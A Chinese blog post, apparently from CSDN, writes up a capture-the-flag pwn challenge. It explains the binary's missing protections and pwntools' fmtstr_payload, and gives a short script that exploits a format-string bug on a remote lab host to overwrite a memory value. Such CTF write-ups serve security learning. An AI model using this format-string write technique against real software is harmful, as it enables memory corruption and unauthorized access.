格式化字符串利器fmtstr_payload | 攻防世界 pwn进阶区 实时数据监测

0x00.看题

健身回来,继续刷第二题,貌似和上一题一个风格啊。连名字都差不多,偏工业实际。不过这一题学到了一个新东西,fmtstr_payload.

题目描述:小A在对某家医药工厂进行扫描的时候,发现了一个大型实时数据库系统。小A意识到实时数据库系统会采集并存储与工业流程相关的上千节点的数据,只要登录进去,就能拿到有价值的数据。小A在尝试登陆实时数据库系统的过程中,一直找不到修改登录系统key的方法,虽然她现在收集到了能够登陆进系统的key的值,但是只能想别的办法来登陆。

根据题目描述,能知道:现在有了key值,修改key值就能登录系统。

0x01.检查保护

    Arch:     i386-32-little
    RELRO:    Partial RELRO			//可以修改GOT表
    Stack:    No canary found			//可以执行栈溢出
    NX:       NX disabled			//堆栈可执行
    PIE:      No PIE (0x8048000)			//地址随机化未开启
    RWX:      Has RWX segments			//有可读可写可执行的段

这一查,程序不是全裸嘛…

0x02.利用fmtstr_payload构造payload

在这里插入图片描述

fmtstr_payload是pwntools里面的一个工具,用来简化对格式化字符串漏洞的构造工作。

fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress};本题是将0804a048处改为0x2223322
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload

实际上我们常用的形式是fmtstr_payload(offset,{address1:value1})

在这里插入图片描述
思路有了,下面写payload:

#usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
r = remote('159.138.137.79',56586)
context(log_level='debug',arch='i386',os='linux')
payload = fmtstr_payload(12,{0x804a048:0x02223322})
r.send(payload)
r.interactive()

附:
1.fmtstr_payload官方文档
2.格式化字符串漏洞利用小结

  • 2
    点赞
  • 16
    收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
©️2022 CSDN 皮肤主题:技术黑板 设计师:CSDN官方博客 返回首页
评论

打赏作者

_n19hT

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值